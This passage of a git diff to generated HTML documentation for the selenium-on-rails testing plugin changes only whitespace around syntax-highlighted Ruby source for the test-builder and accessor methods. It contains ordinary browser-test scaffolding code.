+ 7:     <span class="ruby-ivar">@page_title</span> = <span class="ruby-identifier">test_case_name</span> <span class="ruby-identifier">filename</span>
+ 8:     <span class="ruby-identifier">output</span> = <span class="ruby-identifier">render_to_string</span> <span class="ruby-identifier">:file</span> =<span class="ruby-operator">&gt;</span> <span class="ruby-identifier">filename</span>
+ 9:     <span class="ruby-identifier">layout</span> = (<span class="ruby-identifier">output</span> <span class="ruby-operator">=~</span> <span class="ruby-regexp re">/&lt;html&gt;/i</span> <span class="ruby-operator">?</span> <span class="ruby-keyword kw">false</span> <span class="ruby-operator">:</span> <span class="ruby-identifier">layout_path</span>)
+10:     <span class="ruby-identifier">render</span> <span class="ruby-identifier">:text</span> =<span class="ruby-operator">&gt;</span> <span class="ruby-identifier">output</span>, <span class="ruby-identifier">:layout</span> =<span class="ruby-operator">&gt;</span> <span class="ruby-identifier">layout</span>
+11: 
+12:     <span class="ruby-identifier">headers</span>[<span class="ruby-value str">'Cache-control'</span>] = <span class="ruby-value str">'no-cache'</span>
+13:     <span class="ruby-identifier">headers</span>[<span class="ruby-value str">'Pragma'</span>] = <span class="ruby-value str">'no-cache'</span>
+14:     <span class="ruby-identifier">headers</span>[<span class="ruby-value str">'Expires'</span>] = <span class="ruby-value str">'-1'</span>
 15:   <span class="ruby-keyword kw">end</span>
 </pre>
           </div>
diff --git a/vendor/plugins/selenium-on-rails/doc/classes/SeleniumOnRails/Selenese.html b/vendor/plugins/selenium-on-rails/doc/classes/SeleniumOnRails/Selenese.html
index 83fea27d..ba3c1648 100644
--- a/vendor/plugins/selenium-on-rails/doc/classes/SeleniumOnRails/Selenese.html
+++ b/vendor/plugins/selenium-on-rails/doc/classes/SeleniumOnRails/Selenese.html
@@ -124,8 +124,8 @@
           <div class="method-source-code" id="M000143-source">
 <pre>
    <span class="ruby-comment cmt"># File lib/selenium_on_rails/selenese.rb, line 7</span>
-7:   <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">initialize</span> <span class="ruby-identifier">view</span>
-8:     <span class="ruby-ivar">@view</span> = <span class="ruby-identifier">view</span>
+7:   <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">initialize</span> <span class="ruby-identifier">view</span>
+8:     <span class="ruby-ivar">@view</span> = <span class="ruby-identifier">view</span>
 9:   <span class="ruby-keyword kw">end</span>
 </pre>
           </div>
@@ -149,15 +149,15 @@
           <div class="method-source-code" id="M000144-source">
 <pre>
     <span class="ruby-comment cmt"># File lib/selenium_on_rails/selenese.rb, line 11</span>
-11:   <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">render</span> <span class="ruby-identifier">template</span>, <span class="ruby-identifier">local_assigns</span>
-12:     <span class="ruby-identifier">name</span> = (<span class="ruby-ivar">@view</span>.<span class="ruby-identifier">assigns</span>[<span class="ruby-value str">'page_title'</span>] <span class="ruby-keyword kw">or</span> <span class="ruby-identifier">local_assigns</span>[<span class="ruby-value str">'page_title'</span>])
-13:     <span class="ruby-identifier">lines</span> = <span class="ruby-identifier">template</span>.<span class="ruby-identifier">strip</span>.<span class="ruby-identifier">split</span> <span class="ruby-value str">&quot;\n&quot;</span>
-14:     <span class="ruby-identifier">html</span> = <span class="ruby-value str">''</span>
-15:     <span class="ruby-identifier">html</span> <span class="ruby-operator">&lt;&lt;</span> <span class="ruby-identifier">extract_comments</span>(<span class="ruby-identifier">lines</span>)
-16:     <span class="ruby-identifier">html</span> <span class="ruby-operator">&lt;&lt;</span> <span class="ruby-identifier">extract_commands</span>(<span class="ruby-identifier">lines</span>, <span class="ruby-identifier">name</span>)
-17:     <span class="ruby-identifier">html</span> <span class="ruby-operator">&lt;&lt;</span> <span class="ruby-identifier">extract_comments</span>(<span class="ruby-identifier">lines</span>)
-18:     <span class="ruby-identifier">raise</span> <span class="ruby-value str">'You cannot have comments in the middle of commands!'</span> <span class="ruby-keyword kw">if</span> <span class="ruby-identifier">next_line</span> <span class="ruby-identifier">lines</span>, <span class="ruby-identifier">:any</span>
-19:     <span class="ruby-identifier">html</span>
+11:   <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">render</span> <span class="ruby-identifier">template</span>, <span class="ruby-identifier">local_assigns</span>
+12:     <span class="ruby-identifier">name</span> = (<span class="ruby-ivar">@view</span>.<span class="ruby-identifier">assigns</span>[<span class="ruby-value str">'page_title'</span>] <span class="ruby-keyword kw">or</span> <span class="ruby-identifier">local_assigns</span>[<span class="ruby-value str">'page_title'</span>])
+13:     <span class="ruby-identifier">lines</span> = <span class="ruby-identifier">template</span>.<span class="ruby-identifier">strip</span>.<span class="ruby-identifier">split</span> <span class="ruby-value str">&quot;\n&quot;</span>
+14:     <span class="ruby-identifier">html</span> = <span class="ruby-value str">''</span>
+15:     <span class="ruby-identifier">html</span> <span class="ruby-operator">&lt;&lt;</span> <span class="ruby-identifier">extract_comments</span>(<span class="ruby-identifier">lines</span>)
+16:     <span class="ruby-identifier">html</span> <span class="ruby-operator">&lt;&lt;</span> <span class="ruby-identifier">extract_commands</span>(<span class="ruby-identifier">lines</span>, <span class="ruby-identifier">name</span>)
+17:     <span class="ruby-identifier">html</span> <span class="ruby-operator">&lt;&lt;</span> <span class="ruby-identifier">extract_comments</span>(<span class="ruby-identifier">lines</span>)
+18:     <span class="ruby-identifier">raise</span> <span class="ruby-value str">'You cannot have comments in the middle of commands!'</span> <span class="ruby-keyword kw">if</span> <span class="ruby-identifier">next_line</span> <span class="ruby-identifier">lines</span>, <span class="ruby-identifier">:any</span>
+19:     <span class="ruby-identifier">html</span>
 20:   <span class="ruby-keyword kw">end</span>
 </pre>
           </div>
diff --git a/vendor/plugins/selenium-on-rails/doc/classes/SeleniumOnRails/TestBuilder.html b/vendor/plugins/selenium-on-rails/doc/classes/SeleniumOnRails/TestBuilder.html
index 0c327fac..7f2aeb6e 100644
--- a/vendor/plugins/selenium-on-rails/doc/classes/SeleniumOnRails/TestBuilder.html
+++ b/vendor/plugins/selenium-on-rails/doc/classes/SeleniumOnRails/TestBuilder.html
@@ -167,10 +167,10 @@ href="TestBuilder.html">TestBuilder</a> for <em>view</em>.
           <div class="method-source-code" id="M000149-source">
 <pre>
     <span class="ruby-comment cmt"># File lib/selenium_on_rails/test_builder.rb, line 47</span>
-47:   <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">initialize</span> <span class="ruby-identifier">view</span>
-48:     <span class="ruby-ivar">@view</span> = <span class="ruby-identifier">view</span>
-49:     <span class="ruby-ivar">@output</span> = <span class="ruby-value str">''</span>
-50:     <span class="ruby-ivar">@xml</span> = <span class="ruby-constant">Builder</span><span class="ruby-operator">::</span><span class="ruby-constant">XmlMarkup</span>.<span class="ruby-identifier">new</span> <span class="ruby-identifier">:indent</span> =<span class="ruby-operator">&gt;</span> <span class="ruby-value">2</span>, <span class="ruby-identifier">:target</span> =<span class="ruby-operator">&gt;</span> <span class="ruby-ivar">@output</span>
+47:   <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">initialize</span> <span class="ruby-identifier">view</span>
+48:     <span class="ruby-ivar">@view</span> = <span class="ruby-identifier">view</span>
+49:     <span class="ruby-ivar">@output</span> = <span class="ruby-value str">''</span>
+50:     <span class="ruby-ivar">@xml</span> = <span class="ruby-constant">Builder</span><span class="ruby-operator">::</span><span class="ruby-constant">XmlMarkup</span>.<span class="ruby-identifier">new</span> <span class="ruby-identifier">:indent</span> =<span class="ruby-operator">&gt;</span> <span class="ruby-value">2</span>, <span class="ruby-identifier">:target</span> =<span class="ruby-operator">&gt;</span> <span class="ruby-ivar">@output</span>
 51:   <span class="ruby-keyword kw">end</span>
 </pre>
           </div>
@@ -196,8 +196,8 @@ href="TestBuilder.html#M000151">command</a> name.
           <div class="method-source-code" id="M000147-source">
 <pre>
     <span class="ruby-comment cmt"># File lib/selenium_on_rails/test_builder.rb, line 36</span>
-36:   <span class="ruby-keyword kw">def</span> <span class="ruby-keyword kw">self</span>.<span class="ruby-identifier">selenize</span> <span class="ruby-identifier">str</span>
-37:     <span class="ruby-identifier">str</span>.<span class="ruby-identifier">camelize</span>.<span class="ruby-identifier">gsub</span>(<span class="ruby-regexp re">/^[A-Z]/</span>) {<span class="ruby-operator">|</span><span class="ruby-identifier">s</span><span class="ruby-operator">|</span> <span class="ruby-identifier">s</span>.<span class="ruby-identifier">downcase</span> }
+36:   <span class="ruby-keyword kw">def</span> <span class="ruby-keyword kw">self</span>.<span class="ruby-identifier">selenize</span> <span class="ruby-identifier">str</span>
+37:     <span class="ruby-identifier">str</span>.<span class="ruby-identifier">camelize</span>.<span class="ruby-identifier">gsub</span>(<span class="ruby-regexp re">/^[A-Z]/</span>) {<span class="ruby-operator">|</span><span class="ruby-identifier">s</span><span class="ruby-operator">|</span> <span class="ruby-identifier">s</span>.<span class="ruby-identifier">downcase</span> }
 38:   <span class="ruby-keyword kw">end</span>
 </pre>
           </div>
@@ -226,12 +226,12 @@ href="TestBuilder.html#M000151">command</a> using <em>cmd</em>,
           <div class="method-source-code" id="M000151-source">
 <pre>
     <span class="ruby-comment cmt"># File lib/selenium_on_rails/test_builder.rb, line 62</span>
-62:   <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">command</span> <span class="ruby-identifier">cmd</span>, <span class="ruby-identifier">target</span>=<span class="ruby-keyword kw">nil</span>, <span class="ruby-identifier">value</span>=<span class="ruby-keyword kw">nil</span>
-63:     <span class="ruby-ivar">@xml</span>.<span class="ruby-identifier">tr</span> <span class="ruby-keyword kw">do</span>
-64:       <span class="ruby-identifier">_tdata</span> <span class="ruby-identifier">cmd</span>
-65:       <span class="ruby-identifier">_tdata</span> <span class="ruby-identifier">target</span>
-66:       <span class="ruby-identifier">_tdata</span> <span class="ruby-identifier">value</span>
-67:     <span class="ruby-keyword kw">end</span>
+62:   <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">command</span> <span class="ruby-identifier">cmd</span>, <span class="ruby-identifier">target</span>=<span class="ruby-keyword kw">nil</span>, <span class="ruby-identifier">value</span>=<span class="ruby-keyword kw">nil</span>
+63:     <span class="ruby-ivar">@xml</span>.<span class="ruby-identifier">tr</span> <span class="ruby-keyword kw">do</span>
+64:       <span class="ruby-identifier">_tdata</span> <span class="ruby-identifier">cmd</span>
+65:       <span class="ruby-identifier">_tdata</span> <span class="ruby-identifier">target</span>
+66:       <span class="ruby-identifier">_tdata</span> <span class="ruby-identifier">value</span>
+67:     <span class="ruby-keyword kw">end</span>
 68:   <span class="ruby-keyword kw">end</span>
 </pre>
           </div>
@@ -257,8 +257,8 @@ Same as <em><a href="TestBuilder.html#M000151">command</a></em> but add
           <div class="method-source-code" id="M000153-source">
 <pre>
     <span class="ruby-comment cmt"># File lib/selenium_on_rails/test_builder.rb, line 73</span>
-73:   <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">command_and_wait</span> <span class="ruby-identifier">cmd</span>, <span class="ruby-identifier">target</span>=<span class="ruby-keyword kw">nil</span>, <span class="ruby-identifier">value</span>=<span class="ruby-keyword kw">nil</span>
-74:     <span class="ruby-identifier">command_verbatim</span> <span class="ruby-identifier">cmd</span>.<span class="ruby-identifier">to_s</span> <span class="ruby-operator">+</span> <span class="ruby-value str">'AndWait'</span>, <span class="ruby-identifier">target</span>, <span class="ruby-identifier">value</span>
+73:   <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">command_and_wait</span> <span class="ruby-identifier">cmd</span>, <span class="ruby-identifier">target</span>=<span class="ruby-keyword kw">nil</span>, <span class="ruby-identifier">value</span>=<span class="ruby-keyword kw">nil</span>
+74:     <span class="ruby-identifier">command_verbatim</span> <span class="ruby-identifier">cmd</span>.<span class="ruby-identifier">to_s</span> <span class="ruby-operator">+</span> <span class="ruby-value str">'AndWait'</span>, <span class="ruby-identifier">target</span>, <span class="ruby-identifier">value</span>
 75:   <span class="ruby-keyword kw">end</span>
 </pre>
           </div>
@@ -298,8 +298,8 @@ considered containing string-match pattern otherwise.
           <div class="method-source-code" id="M000148-source">
 <pre>
     <span class="ruby-comment cmt"># File lib/selenium_on_rails/test_builder.rb, line 42</span>
-42:   <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">exactize</span> <span class="ruby-identifier">pattern</span>
-43:     <span class="ruby-identifier">pattern</span>.<span class="ruby-identifier">include?</span>(<span class="ruby-value str">':'</span>) <span class="ruby-operator">?</span> <span class="ruby-node">&quot;exact:#{pattern}&quot;</span> <span class="ruby-operator">:</span> <span class="ruby-identifier">pattern</span>
+42:   <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">exactize</span> <span class="ruby-identifier">pattern</span>
+43:     <span class="ruby-identifier">pattern</span>.<span class="ruby-identifier">include?</span>(<span class="ruby-value str">':'</span>) <span class="ruby-operator">?</span> <span class="ruby-node">&quot;exact:#{pattern}&quot;</span> <span class="ruby-operator">:</span> <span class="ruby-identifier">pattern</span>
 44:   <span class="ruby-keyword kw">end</span>
 </pre>
           </div>
@@ -326,10 +326,10 @@ href="TestBuilder.html#M000151">command</a>.
           <div class="method-source-code" id="M000154-source">
 <pre>
     <span class="ruby-comment cmt"># File lib/selenium_on_rails/test_builder.rb, line 79</span>
-79:   <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">make_command_waiting</span>
-80:     <span class="ruby-keyword kw">self</span>.<span class="ruby-identifier">class</span>.<span class="ruby-identifier">send</span> <span class="ruby-identifier">:alias_method</span>, <span class="ruby-identifier">:command</span>, <span class="ruby-identifier">:command_and_wait</span>
-81:     <span class="ruby-keyword kw">yield</span>
-82:     <span class="ruby-keyword kw">self</span>.<span class="ruby-identifier">class</span>.<span class="ruby-identifier">send</span> <span class="ruby-identifier">:alias_method</span>, <span class="ruby-identifier">:command</span>, <span class="ruby-identifier">:command_verbatim</span> 
+79:   <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">make_command_waiting</span>
+80:     <span class="ruby-keyword kw">self</span>.<span class="ruby-identifier">class</span>.<span class="ruby-identifier">send</span> <span class="ruby-identifier">:alias_method</span>, <span class="ruby-identifier">:command</span>, <span class="ruby-identifier">:command_and_wait</span>
+81:     <span class="ruby-keyword kw">yield</span>
+82:     <span class="ruby-keyword kw">self</span>.<span class="ruby-identifier">class</span>.<span class="ruby-identifier">send</span> <span class="ruby-identifier">:alias_method</span>, <span class="ruby-identifier">:command</span>, <span class="ruby-identifier">:command_verbatim</span> 
 83:   <span class="ruby-keyword kw">end</span>
 </pre>
           </div>
@@ -355,11 +355,11 @@ href="TestBuilder.html#M000150">table</a> of tests, and return the HTML.
           <div class="method-source-code" id="M000150-source">
 <pre>
     <span class="ruby-comment cmt"># File lib/selenium_on_rails/test_builder.rb, line 54</span>
-54:   <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">table</span> <span class="ruby-identifier">title</span>
-55:     <span class="ruby-ivar">@xml</span>.<span class="ruby-identifier">table</span> <span class="ruby-keyword kw">do</span>
-56:       <span class="ruby-ivar">@xml</span>.<span class="ruby-identifier">tr</span> <span class="ruby-keyword kw">do</span> <span class="ruby-ivar">@xml</span>.<span class="ruby-identifier">th</span>(<span class="ruby-identifier">title</span>, <span class="ruby-identifier">:colspan</span> =<span class="ruby-operator">&gt;</span> <span class="ruby-value">3</span>) <span class="ruby-keyword kw">end</span>
-57:       <span class="ruby-keyword kw">yield</span> <span class="ruby-keyword kw">self</span>
-58:     <span class="ruby-keyword kw">end</span>
+54:   <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">table</span> <span class="ruby-identifier">title</span>
+55:     <span class="ruby-ivar">@xml</span>.<span class="ruby-identifier">table</span> <span class="ruby-keyword kw">do</span>
+56:       <span class="ruby-ivar">@xml</span>.<span class="ruby-identifier">tr</span> <span class="ruby-keyword kw">do</span> <span class="ruby-ivar">@xml</span>.<span class="ruby-identifier">th</span>(<span class="ruby-identifier">title</span>, <span class="ruby-identifier">:colspan</span> =<span class="ruby-operator">&gt;</span> <span class="ruby-value">3</span>) <span class="ruby-keyword kw">end</span>
+57:       <span class="ruby-keyword kw">yield</span> <span class="ruby-keyword kw">self</span>
+58:     <span class="ruby-keyword kw">end</span>
 59:   <span class="ruby-keyword kw">end</span>
 </pre>
           </div>
@@ -387,12 +387,12 @@ representation. Otherwise return unchanged.
           <div class="method-source-code" id="M000156-source">
 <pre>
      <span class="ruby-comment cmt"># File lib/selenium_on_rails/test_builder.rb, line 95</span>
- 95:   <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">collection_arg</span> <span class="ruby-identifier">arg</span>
- 96:     <span class="ruby-keyword kw">if</span> <span class="ruby-identifier">arg</span>.<span class="ruby-identifier">is_a?</span> <span class="ruby-constant">Array</span>
- 97:       <span class="ruby-identifier">arg</span>.<span class="ruby-identifier">collect</span> {<span class="ruby-operator">|</span><span class="ruby-identifier">e</span><span class="ruby-operator">|</span> <span class="ruby-identifier">e</span>.<span class="ruby-identifier">gsub</span>(<span class="ruby-regexp re">/[\\,]/</span>) {<span class="ruby-operator">|</span><span class="ruby-identifier">s</span><span class="ruby-operator">|</span> <span class="ruby-node">&quot;\\#{s}&quot;</span> } }.<span class="ruby-identifier">join</span>(<span class="ruby-value str">','</span>)
- 98:     <span class="ruby-keyword kw">else</span>
- 99:       <span class="ruby-identifier">arg</span>
-100:     <span class="ruby-keyword kw">end</span>
+ 95:   <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">collection_arg</span> <span class="ruby-identifier">arg</span>
+ 96:     <span class="ruby-keyword kw">if</span> <span class="ruby-identifier">arg</span>.<span class="ruby-identifier">is_a?</span> <span class="ruby-constant">Array</span>
+ 97:       <span class="ruby-identifier">arg</span>.<span class="ruby-identifier">collect</span> {<span class="ruby-operator">|</span><span class="ruby-identifier">e</span><span class="ruby-operator">|</span> <span class="ruby-identifier">e</span>.<span class="ruby-identifier">gsub</span>(<span class="ruby-regexp re">/[\\,]/</span>) {<span class="ruby-operator">|</span><span class="ruby-identifier">s</span><span class="ruby-operator">|</span> <span class="ruby-node">&quot;\\#{s}&quot;</span> } }.<span class="ruby-identifier">join</span>(<span class="ruby-value str">','</span>)
+ 98:     <span class="ruby-keyword kw">else</span>
+ 99:       <span class="ruby-identifier">arg</span>
+100:     <span class="ruby-keyword kw">end</span>
 101:   <span class="ruby-keyword kw">end</span>
 </pre>
           </div>
@@ -418,8 +418,8 @@ ActionView#UrlHelper#url_for.
           <div class="method-source-code" id="M000155-source">
 <pre>
     <span class="ruby-comment cmt"># File lib/selenium_on_rails/test_builder.rb, line 89</span>
-89:   <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">url_arg</span> <span class="ruby-identifier">url</span>
-90:     <span class="ruby-keyword kw">if</span> <span class="ruby-identifier">url</span>.<span class="ruby-identifier">instance_of?</span>(<span class="ruby-constant">String</span>) <span class="ruby-keyword kw">then</span> <span class="ruby-identifier">url</span> <span class="ruby-keyword kw">else</span> <span class="ruby-identifier">exactize</span>(<span class="ruby-ivar">@view</span>.<span class="ruby-identifier">url_for</span>(<span class="ruby-identifier">url</span>)) <span class="ruby-keyword kw">end</span>
+89:   <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">url_arg</span> <span class="ruby-identifier">url</span>
+90:     <span class="ruby-keyword kw">if</span> <span class="ruby-identifier">url</span>.<span class="ruby-identifier">instance_of?</span>(<span class="ruby-constant">String</span>) <span class="ruby-keyword kw">then</span> <span class="ruby-identifier">url</span> <span class="ruby-keyword kw">else</span> <span class="ruby-identifier">exactize</span>(<span class="ruby-ivar">@view</span>.<span class="ruby-identifier">url_for</span>(<span class="ruby-identifier">url</span>)) <span class="ruby-keyword kw">end</span>
 91:   <span class="ruby-keyword kw">end</span>
 </pre>
           </div>
diff --git a/vendor/plugins/selenium-on-rails/doc/classes/SeleniumOnRails/TestBuilderAccessors.html b/vendor/plugins/selenium-on-rails/doc/classes/SeleniumOnRails/TestBuilderAccessors.html
index 6c948282..16c6c020 100644
--- a/vendor/plugins/selenium-on-rails/doc/classes/SeleniumOnRails/TestBuilderAccessors.html
+++ b/vendor/plugins/selenium-on-rails/doc/classes/SeleniumOnRails/TestBuilderAccessors.html
@@ -209,8 +209,8 @@ Related Assertions, automatically generated:
           <div class="method-source-code" id="M000100-source">
 <pre>
      <span class="ruby-comment cmt"># File lib/selenium_on_rails/test_builder_accessors.rb, line 246</span>
-246:   <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">store_absolute_location</span> <span class="ruby-identifier">variable_name</span>
-247:     <span class="ruby-identifier">command</span> <span class="ruby-value str">'storeAbsoluteLocation'</span>, <span class="ruby-identifier">variable_name</span>
+246:   <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">store_absolute_location</span> <span class="ruby-identifier">variable_name</span>
+247:     <span class="ruby-identifier">command</span> <span class="ruby-value str">'storeAbsoluteLocation'</span>, <span class="ruby-identifier">variable_name</span>
 248:   <span class="ruby-keyword kw">end</span>
 </pre>
           </div>
@@ -273,8 +273,8 @@ Related Assertions, automatically generated:
           <div class="method-source-code" id="M000097-source">
 <pre>
      <span class="ruby-comment cmt"># File lib/selenium_on_rails/test_builder_accessors.rb, line 183</span>
-183:   <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">store_alert</span> <span class="ruby-identifier">variable_name</span>
-184:     <span class="ruby-identifier">command</span> <span class="ruby-value str">'storeAlert'</span>, <span class="ruby-identifier">variable_name</span>
+183:   <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">store_alert</span> <span class="ruby-identifier">variable_name</span>
+184:     <span class="ruby-identifier">command</span> <span class="ruby-value str">'storeAlert'</span>, <span class="ruby-identifier">variable_name</span>
 185:   <span class="ruby-keyword kw">end</span>
 </pre>
           </div>
@@ -322,8 +322,8 @@ Related Assertions, automatically generated:
           <div class="method-source-code" id="M000091-source">
 <pre>
     <span class="ruby-comment cmt"># File lib/selenium_on_rails/test_builder_accessors.rb, line 89</span>
-89:   <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">store_alert_present</span> <span class="ruby-identifier">variable_name</span>
-90:     <span class="ruby-identifier">command</span> <span class="ruby-value str">'storeAlertPresent'</span>, <span class="ruby-identifier">variable_name</span>
+89:   <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">store_alert_present</span> <span class="ruby-identifier">variable_name</span>
+90:     <span class="ruby-identifier">command</span> <span class="ruby-value str">'storeAlertPresent'</span>, <span class="ruby-identifier">variable_name</span>
 91:   <span class="ruby-keyword kw">end</span>
 </pre>
           </div>
@@ -382,8 +382,8 @@ Related Assertions, automatically generated:
           <div class="method-source-code" id="M000134-source">
 <pre>
      <span class="ruby-comment cmt"># File lib/selenium_on_rails/test_builder_accessors.rb, line 754</span>
-754:   <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">store_all_buttons</span> <span class="ruby-identifier">variable_name</span>
-755:     <span class="ruby-identifier">command</span> <span class="ruby-value str">'storeAllButtons'</span>, <span class="ruby-identifier">variable_name</span>
+754:   <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">store_all_buttons</span> <span class="ruby-identifier">variable_name</span>
+755:     <span class="ruby-identifier">command</span> <span class="ruby-value str">'storeAllButtons'</span>, <span class="ruby-identifier">variable_name</span>
 756:   <span class="ruby-keyword kw">end</span>
 </pre>
           </div>
@@ -442,8 +442,8 @@ Related Assertions, automatically generated:
           <div class="method-source-code" id="M000136-source">
 <pre>
      <span class="ruby-comment cmt"># File lib/selenium_on_rails/test_builder_accessors.rb, line 794</span>
-794:   <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">store_all_fields</span> <span class="ruby-identifier">variable_name</span>
-795:     <span class="ruby-identifier">command</span> <span class="ruby-value str">'storeAllFields'</span>, <span class="ruby-identifier">variable_name</span>
+794:   <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">store_all_fields</span> <span class="ruby-identifier">variable_name</span>
+795:     <span class="ruby-identifier">command</span> <span class="ruby-value str">'storeAllFields'</span>, <span class="ruby-identifier">variable_name</span>
 796:   <span class="ruby-keyword kw">end</span>
 </pre>
           </div>
@@ -502,8 +502,8 @@ Related Assertions, automatically generated:
           <div class="method-source-code" id="M000135-source">
 <pre>
      <span class="ruby-comment cmt"># File lib/selenium_on_rails/test_builder_accessors.rb, line 774</span>
-774:   <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">store_all_links</span> <span class="ruby-identifier">variable_name</span>
-775:     <span class="ruby-identifier">command</span> <span class="ruby-value str">'storeAllLinks'</span>, <span class="ruby-identifier">variable_name</span>
+774:   <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">store_all_links</span> <span class="ruby-identifier">variable_name</span>
+775:     <span class="ruby-identifier">command</span> <span class="ruby-value str">'storeAllLinks'</span>, <span class="ruby-identifier">variable_name</span>
 776:   <span class="ruby-keyword kw">end</span>
 </pre>
           </div>
@@ -551,8 +551,8 @@ Related Assertions, automatically generated:
           <div class="method-source-code" id="M000088-source">
 <pre>
     <span class="ruby-comment cmt"># File lib/selenium_on_rails/test_builder_accessors.rb, line 50</span>
-50:   <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">store_all_window_ids</span> <span class="ruby-identifier">variable_name</span>
-51:     <span class="ruby-identifier">command</span> <span class="ruby-value str">'storeAllWindowIds'</span>, <span class="ruby-identifier">variable_name</span>
+50:   <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">store_all_window_ids</span> <span class="ruby-identifier">variable_name</span>
+51:     <span class="ruby-identifier">command</span> <span class="ruby-value str">'storeAllWindowIds'</span>, <span class="ruby-identifier">variable_name</span>
 52:   <span class="ruby-keyword kw">end</span>
 </pre>
           </div>
@@ -600,8 +600,8 @@ Related Assertions, automatically generated:
           <div class="method-source-code" id="M000089-source">
 <pre>
     <span class="ruby-comment cmt"># File lib/selenium_on_rails/test_builder_accessors.rb, line 63</span>
-63:   <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">store_all_window_names</span> <span class="ruby-identifier">variable_name</span>
-64:     <span class="ruby-identifier">command</span> <span class="ruby-value str">'storeAllWindowNames'</span>, <span class="ruby-identifier">variable_name</span>
+63:   <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">store_all_window_names</span> <span class="ruby-identifier">variable_name</span>
+64:     <span class="ruby-identifier">command</span> <span class="ruby-value str">'storeAllWindowNames'</span>, <span class="ruby-identifier">variable_name</span>
 65:   <span class="ruby-keyword kw">end</span>
 </pre>
           </div>
@@ -649,8 +649,8 @@ Related Assertions, automatically generated:
           <div class="method-source-code" id="M000090-source">
 <pre>
     <span class="ruby-comment cmt"># File lib/selenium_on_rails/test_builder_accessors.rb, line 76</span>
-76:   <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">store_all_window_titles</span> <span class="ruby-identifier">variable_name</span>
-77:     <span class="ruby-identifier">command</span> <span class="ruby-value str">'storeAllWindowTitles'</span>, <span class="ruby-identifier">variable_name</span>
+76:   <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">store_all_window_titles</span> <span class="ruby-identifier">variable_name</span>
+77:     <span class="ruby-identifier">command</span> <span class="ruby-value str">'storeAllWindowTitles'</span>, <span class="ruby-identifier">variable_name</span>
 78:   <span class="ruby-keyword kw">end</span>
 </pre>
           </div>
@@ -698,8 +698,8 @@ Related Assertions, automatically generated:
           <div class="method-source-code" id="M000122-source">
 <pre>
      <span class="ruby-comment cmt"># File lib/selenium_on_rails/test_builder_accessors.rb, line 577</span>
-577:   <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">store_attribute</span> <span class="ruby-identifier">locator</span>, <span class="ruby-identifier">attribute_name</span>, <span class="ruby-identifier">variable_name</span>
-578:     <span class="ruby-identifier">command</span> <span class="ruby-value str">'storeAttribute'</span>, <span class="ruby-node">&quot;#{locator}@#{attribute_name}&quot;</span>, <span class="ruby-identifier">variable_name</span>
+577:   <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">store_attribute</span> <span class="ruby-identifier">locator</span>, <span class="ruby-identifier">attribute_name</span>, <span class="ruby-identifier">variable_name</span>
+578:     <span class="ruby-identifier">command</span> <span class="ruby-value str">'storeAttribute'</span>, <span class="ruby-node">&quot;#{locator}@#{attribute_name}&quot;</span>, <span class="ruby-identifier">variable_name</span>
 579:   <span class="ruby-keyword kw">end</span>
 </pre>
           </div>
@@ -747,8 +747,8 @@ Related Assertions, automatically generated:
           <div class="method-source-code" id="M000092-source">
 <pre>
      <span class="ruby-comment cmt"># File lib/selenium_on_rails/test_builder_accessors.rb, line 102</span>
-102:   <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">store_attribute_from_all_windows</span> <span class="ruby-identifier">attribute_name</span>, <span class="ruby-identifier">variable_name</span>
-103:     <span class="ruby-identifier">command</span> <span class="ruby-value str">'storeAttributeFromAllWindows'</span>, <span class="ruby-identifier">attribute_name</span>, <span class="ruby-identifier">variable_name</span>
+102:   <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">store_attribute_from_all_windows</span> <span class="ruby-identifier">attribute_name</span>, <span class="ruby-identifier">variable_name</span>
+103:     <span class="ruby-identifier">command</span> <span class="ruby-value str">'storeAttributeFromAllWindows'</span>, <span class="ruby-identifier">attribute_name</span>, <span class="ruby-identifier">variable_name</span>
 104:   <span class="ruby-keyword kw">end</span>
 </pre>
           </div>
@@ -796,8 +796,8 @@ Related Assertions, automatically generated:
           <div class="method-source-code" id="M000104-source">
 <pre>
      <span class="ruby-comment cmt"># File lib/selenium_on_rails/test_builder_accessors.rb, line 300</span>
-300:   <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">store_body_text</span> <span class="ruby-identifier">variable_name</span>
-301:     <span class="ruby-identifier">command</span> <span class="ruby-value str">'storeBodyText'</span>, <span class="ruby-identifier">variable_name</span>
+300:   <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">store_body_text</span> <span class="ruby-identifier">variable_name</span>
